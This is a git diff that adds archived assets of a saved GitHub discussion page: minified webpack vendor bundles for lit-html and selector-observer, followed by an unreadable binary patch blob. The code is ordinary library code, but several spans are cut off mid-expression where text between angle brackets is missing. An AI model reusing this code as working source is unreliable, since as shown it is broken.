Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;dmET#l^vmd%?ndidZYUP%8&nli=Vrzxr^)n z#B~L!V=C`O=>L$?{{dIHy`zh@n-|-EHSDfd>`o4r&x_BS0I0mQoHPIk1OR|92jF=H zAOS!DBcmXLQBaUkP*G7J=umWYG&FPqY#dDJD*|HTR|G^vq!e_Nq+~SYL_{!F7!5rG z6EhPDB^w7DBL^KL6XSoF08vp<(IM#g=;-*2q(r2Q|I6jM6Mzc=7y*osfYbmGE)WS9 z_}mMie326w_}|KZA3OjMg!CdWDg+H3e| z$jZrUXliNe=<4a4nweWzT3Oq;y19FJe){Yc9P%YJ3=tmjH6bx6IVCkMJ-?u^sJNuG zth}zip|R6zKN`Gv)$<*n_V-MwG?2Zu)&e=e`CZ*K4I|NaLT z5P!GLx zqNBaBsu0SwYD;03u`1R^vNaX;uM;ZSTgbD)qw9zgRAOYrgrf5Raa9|60clD?9ltAN z-0g=^)tP#JYL(BDak2na^OvR}f?&)r5|SI5JQ9=~N5Z+&siv7q{a@z5oL`Xm;K};e zX(s@N<@OSF^mnHRJ||Y=8oLUrRSE<8I*2#gXl>lyj`o5`zeqG(cWRtshSLt-EyLFz!|Ny5!!8CWwPCghm;a5Q>J39?Bq z33;bwUv_K(pNYphG-v7Ha{BN$PS&wA=K30T_)*kHs!^^1VP^dGtKBmopa%8~pfddV z`%=|crHhnpc2r-xNi#lH{rFGqm5?1itI!>RN$NQ`BsXx=`&99R5dP^)KKPSk6bEZy` zjhAxfyr&oY59GoWL4pzC%oN2^iw3(yU}|6@ZQum5j67k6+yP$>&DXiAphxu!?WFv> z>BSG@1iaPpOj4^pYn%N!=SH;ydAC(PTUpmxm zv*6Gw4npf3+Ml&(Y*-PNcJ`*5FHXKNTtU#)e+TZkb)k;p zAteOK0E|4VzN_HVmzGv(&F_OML!vL(m6Q%`Ul;AP%XdDC&Yg`;j#;v0d~q`xeh5SY zJK09m;9+1Gi}+08p-vdANc-y#H%+sioUpPov|G+xJ(Ah-xy2A81W=9ocM>vd-(9}X zvYqVO+LID-C`n2+DL^=@E|EV2Vx)b9-ZX?i9=F}GaHe!>mn-{}6{|cVRIaO#24cU% zX&$C?pDh3C*#2fr*i4ytd>VV~lQwzl`@sc8B(wE$K$Er9bl@Pq%P15b8aw@d|LJmKh&Dw2r8xs29x_6n#*- z5f&rhFj!&V>JGf7p{!)}!VYKDGnx68`C5V+gfl}pv3P&eQk+L~WN$MKmJO{W7V$B{ z50X;{B^!4Q9l2&Md@Kn^&J?l!&aOkdQigjuVa;w&oreFJ1^gtz31rowV#4jhhy39Q);#6 zoxPdcGXQv?ea7(&Fq1Lz=8oRKHr4&5ert;VlO;NTY5HY=cC%|<1_-z>O5($dU0Ebm zdJiA5LLY*CsFU{k-i!*46(1s6ZtivWd+JC2b^)Pb_dt zXZxi7q}9?f{f5>veX1URaLF?2YUoUcGLUd`Rf(bjPlS!(>)<2!pEW|t2x+5wJS3*I~ zy{;ODCymq*Z|-DyuOfa)hO+$l{z3kP&^UyAus0ik&Up>JNug4{8wFq2WeENvUC$YopuA54){f1byr9-chl}h^Ns8goh{uOE? z@0Qq(jnmh*d4;IYOaG&W{rDkAw&g|t`wuDppXkDF#+>{d_G~X2zt?AWd-MOO!r`jQ zGFa%O|1l4+<+m7>sR3cHQm!2rUt~tW;5manef><@W~>n%)$wz$~!Vx_*Ia3PMd|D&-34h;YnP2I0q^n2)q6idE>u0z|68=tCF5&t2yZV^ux;T6U!8v{*if`R zE(LQa9>nvnkNUTt^hP2oibG%r@AvOFBFdBjtnNu2Ky2*5T0HY=@3z+Ot>6788Xg{i zPNgozRRV%978}KdoTQlMr_9r=`vmfVqz%zD_iNr@0S@j|AjB|NHe#D9o?1$dr7}o= zsP5(Oz3Bdpkfpi}`(9;<@-d<3Igm!XsZo%a%DWOveVa}l41>~&k@p7hquz3Ir)FoL zwQ&8D(012x*SW?F0OmGc40gL2=%twhuj_sK_rQC5P!->{LU{L_b%wUdJ|hfV zHE&@EXjQxgJEaVDtPnOQ6kZ#3GK4f^@E%Tyk^!xF4xUWg{k>^9-YGqy2SP#dC%1kW ziRvN7pLD)B=^*De@jyPOBr9Xd(599+)>lY+R_n{Y=Z1Yn`jczbTKz0xu z*oR<|X#K21du~rHh^G{QiJ-YEl8!Bee&SsbCX%TX`4>s1%X|a}I$C}l2RdY%V+jNz z#5+L1!$Kq_dqb${lZWk+rI$$U1DgVHBYz#*`ux1a!x4FeW-0GiLAGKr;7nh31Q)xv zN7InmSq*4afqvxliaeN@Qj)YL)Om=?kicZ=m0bJ48*n$#rfdjXyvKQU18X52?zFUg zcp^v!5)wz-6immO`9rX};~rZyGqcOOxm0(}+GAA!NZcIg)jmF*M7O^9fFeT_t8w4Y zlRxrqgkv&U)|krf6%#l)aZ#K)1a8v6V@@kr?@pO)hmN3XS7i{=hkv87arn~6VEcG8 z`Tp@frDKHj)ZyMU;tT=s(s#VEOdUu5=qw)l56)h? z+L5e?Pok-*DMDoyOPUi5+S_&y2@>--V^8N<8Ph2SjHyNCL{{0d=7E`uU2fd9&l|6L?lVMf@f&l_|t5= zDM={4t(#r9ft!gz6U^>j@qBsQ@ECtQTd(u7O$a2FK@X_powG^m8(FyPBdh)$&p&!~ zxndo~16c+_ut0?bcPtdd&T+}ayOjqI?Nw4&Rj2x@c)-JurP7csBYis(hA5s}G;3;_ z<%oDoi%+K~LXwqG<266aHYOESeT_0rez!a5bIm^Cti;zeiu%&I)WO)Obn6*Csi2=n zrb;bnPmY^FY8+uff#jQj#_5AnmDYrLGzGV`7=oe+{A5@RHK{|^+yI-O=kBd08;*NM zrI7~MNbl>oO@|`PI>rY-n(6sYdm^P6kT+m;s)0UXvuOjcFUQF+$KIA*H}svQvKS zUm^X&MiMh-b_pCNL!6)NhbLdM0>X#Tl*ibdHx~yq+gI?@*S`WnIE06MOGJ%s@&rJl zJh)QJHLM{Rlkz(cz?}c;==D+$&oSj!nM};ImdNzJxRqZNMYu*1rR4~d?LFoA~5ba(H8l;(fKAr_N^ljq*=P?z3tm1{7!*D5<;b@qMP8@ zJP$)Qo{?Fgn~v|Z;V-l&s|(6!EFV22+DbWFpZn6m7)4we?XoA9BYb(T;m(|aF7=k~ zMJB@P?#ByLR-N=HdlH(6d`!cV%HySgIFNszOjPTA-Jqf9?_8`O^M0s$^xwo0%tEN4 zLZtc1o%31TC$}Qz#>T*jmA1*NU*G^~=B~5*c12Mh3G)8WC$HQtpVI)8KPilqG!;|z z3Qzx$vi?Mp8M$v2LSTN2M~5g#P1ne~ zF5S&CZM`ULWy(8@#sEY|k7XD58y)v(9H{PHa+qbr^BXBZ`H(b~s0|{osT#oQDBJ&{ z#U}cDrngiH{!-!3XppDzPdpBpYOcNy%O}GNm?xdM(uO~5Q9I8^2%CDjgpS_93eqvCWu`mrzu=G)zeLlY@EZ_-HC9ZoIXosma6 z8V&zoVRR;8d&iuZKL&=M-5K#&Y8>$Jf-3>G-NB3*fh?Z20>xH;Bgo>!Eh;a zqy+rq3Pl_ExcNTV7rd_c)8FmQzdiplooE3Iu0Nc%Kny|{iWAECC}Lkd2Dw-@D5BAH zf)VgO-GZe%e-03{!{Fa&7W0vBXQBXYSNn zrYEdj*T0Efno~dC5hV9Nu3efF%A)v84z`R9x9UvQ~e zK1bFRgoW1WVVC?WMWF3d;!>6?*l#k@2c<@|dWLx(JO*$q#%|(SD0z>zm)eM}U%9Us zc6uE$dA`S8#Eg{;_ach?DKc~&sk8LwkFRcwQX7#Nrs>Djy&RDzHZC($8XppU9e_Mj zxkJ(|&iO#L`-R=xq1!8K{~Xgfc~c#`^!*e8*In9$rwO_49i@|q;L^okeo0IPrARu> z8lPbPRg5OnKiYi+=+J~HY@OH;ygGiIDl11Ee=UVzCupoEU`6{33*$#-%GY;s`i&kE zKl0s?jh2WiSSrYy-Qt!|e?bJrUX8de=hRwPit&GSqT5^y8>o3UVPUzw&s_3Nj1+wc z**tJ(U67u|OuPnjuGZevmOOsgFnV&jHE1g_jsB)rdMuLS_k?z#oH6xgB7ec8AV55$ zD^C@_T1wIPNyJd-hQ6yjHjxa6Jo%nU5VMm!t~LULoPo+j`vs%YvjGBD3#Z8 zPlc9~MMd*QX70UgZ?{a2%Tr0%p-)2y9h=!2pE;9o?&@cL=B@%i#_5(fv5B$A5592E zUG{cuYqOp%(Yf92>KGHzxAHsTa@%tp8(-uI82(7~_Ydf{ZCKtut<9FZCoZQFViE?B zIGofxpU8{~^UI`SHp2}^>Po8t8FWrjW$(YSlBdgq#B(v>86Ty z{m6N3Vt=kxh&R|0oP48<|Q*w?hgv1JQKz0BiA z<*$t*wb5ITYIyv=%#2;~WG_Y7q$yep##Kom+oF56Mcg)`El zEjriph1zK?&3&~eDgCek!yNwXe?T(+8LF)Hhl)3VT!X? zL%C%0^1*CzO`FTrF*6^2j3=M3hY=7lM=3qYGq|gyog=C;rb$Cs(6j|dMZ73m-%~nU zZ-J`zv7>KtB>@)Awf$T7J>TY6qGF=(`kbXrQG{4Xqv_aw`9Gr_U22g}jEy~zLniRV zpthRa{Wl+&Kc>T;^ph}bUkO|f53oM}#blL{hQ=I-YlvpJZ*+A{Hkf@xsukB{ZK!U3 ztpEHNkC<{igFlqNf7Y}!Sgh69FY(R**jw9ebo;r4EZqDIwESF}hxC zY424|{bvqDKRySKIK$VzyfXP(OU-dOo)!8EAiqG{{cC%T`J&=HrhcpVcbDV zmag=jNW{N4{kp4D+jr;K&QCunsou2(oh~Evt33^D(5&_IOzIz1N`CnL;iB>HKx#e8 z74(f``YI?ReR=t#`WwmBr}=*@ijw>nOL~Svf9aiD$zvk3I7pe0-CL!Jr3cd`QI|(2 z6ipq9oXW9FJSZ(cv*+@ya3t72Sk{_vS?FfdvU!g2i>M{6?TAAfy5a93NvJYT9l~9I zXhaxpDYjNsu($nd5cW%hEm`n_;opo(EU7xbtNv{h+fI=dyx9ngLS|M+d1^`G>z+ot zylgu(_1DHG`7Ft7Vs}iOLa%+-6ZTN5WBbL}T8`Le`zBO};SYZOw`szlY0}nTPNxYY ztl$(Y9|!8Le~P$FJIDr^l*5m*WWR(!Tj9V84iEtZxx4_{(Z8ZL@Nb@$MWsLU-MfkI z4a(g12lS@o!O-9)H_xM%QvK4oxRK{e#;GW?D>Bzf?X{_@#9*d|BUPG{kcu_1$xpC4 z|5?A>ni4<_%K7gKd!7IO#brC!E!Xh{#4%rDt?8v-2`mSl+7>3>MN<5V^_9Q=f_8B5 zuDB#hrO{89mOk33u^Lw^+)0xC*TlS>+3@W09om|9vj%Tl3ca;3YKd~z=9P*_{`D^@ z){jQKcHh*(obvkiawceU%4R-!pf{3Uqn|Hqa|C7u&fW(+?USa&M+T1b7aLa3c%c11#TXA%S=wp*RYWhS`??5QJi?u!mCM6kHnSx znQ&&Agp<6E2|Of_shW2PuNEpAUim8fyQD8a^AF6+?8nhykD!igcw3V?mdDtH76+#g z#JSrG@)$c;J^Cb#u%xWb1wczViur`P|M=jm;VA2R?2Q3D z_%;K{LqO|j4c8xDchneD=F*0#^c|$s%v>LbrBf*b&lrQRV-}&8^-`A4#g5HKiiiqR z`)P7Q)QeGwK3F$KVl~POQ@J3sp++^Bt!1Ypt>L}0?$R1nKRRild2L-?_rFS#*NYc` zQzIwg2=$st{hb!}Di25xbfocjbrq-oBY)#Q1J&eUD01LypM~#Hw41gK)tI}BeV;x~ z62WFv7+V-Ie22*=aVZ_b`H_UdM`c?Cf<&yhP4cSvH0IKO}ED4T5HiVXZ#Raxij{?*|2 zJb&j^b-y}0fM>d{bcr{FAamI@GwFeb`Mqr^{Mu!Qiv^6rM#a05EG`S3!}2=7>niNK zeJ{>;xGbD)@;QA>@hw_&{(`{QtG#5D?UyrFB>0aS2C*PoGs0}M>rt+c%QwhoeauPQ zf~%AN@pGL0;8u=d~6??`=*_}U5EG} zxvFnCjm|Lj?>pr&-u6Fuq=GPfNvhki)50Uo-@)!E84qlEMU&`~1~=3(LU02~S&7eC zgO2NOu z-CZH2$L^ziD-34sPE`Z*xA3eV9tAc z6|Jhe_}w!CG6z3Mtx6-MIN z@Q3x?QQ!Gw`V^*KxZM`H6p^<0Uz%ipUsA9L|N_!_R3Lcy>iv&zQ) zDu&lvZ#?}{T+d$*lrhu?j>u2KKA;(^Rd8w2W@LORqPEqz67R&^M{gAFx?lGy*3&Mb zvRrrR3@K_dt@pVg&8Zd{zngcyoIgOZ>Tx|_wXU81uqEVwLy@iTml|m~zN5Y7Qj(eM zfRV6^M|bnSP&vbdL-19og-pHTZ2p4pIIN7X$ariC41nuH&bzpJZMV z(y-r+6B`|mZ=1a(^q)wRdCeN=oChW8zcNbZPw$RnO?NI!2v@#RH-j+OC#J146ORKL=(GU?eqWDF7(*S|CHy*tLIN8@E$Vv?qkwp~>@A`vB$HuPL$(Lbk zv&ZYn4OUgW_un@j6wZW1#v3bioIjL&Pyo~4?;UsbE?QXm>y>6$HA92Tv!i2N&ZFE0 z{OT8OwYUf)rWwh)HEezM^7hff9c3T3w6zt&mHN*`eUD|_)(vS1f(wL~&@pt}UQOep zot2!YuGQ%!T8m!6N~3c6+SvHNX5m;Cny(Noq$Dp9I#}+HXWdDBbuf3E0YTL#9lkH! z4GjIt1zYbX6l4CaZpA&)k7TpT`LM-; z(-!dcZ)hW>gL79g50CF*k>j7o<(&`w9z-Sj+c-QH{Hh6UESXggAEx(KA?76=1YZxN z#Qq7FQQf_DY5=g$G;M6G_gA65W~Xq{i*@)sgcF!c(RiP6{x7Z{HRzW<{z{!ft-+`1 zyPys(ujPbv{(B|PPj;XBFwF-T)aAb6N*@z9Fx~ttxc4Nvl5dS-<<9ab^CU 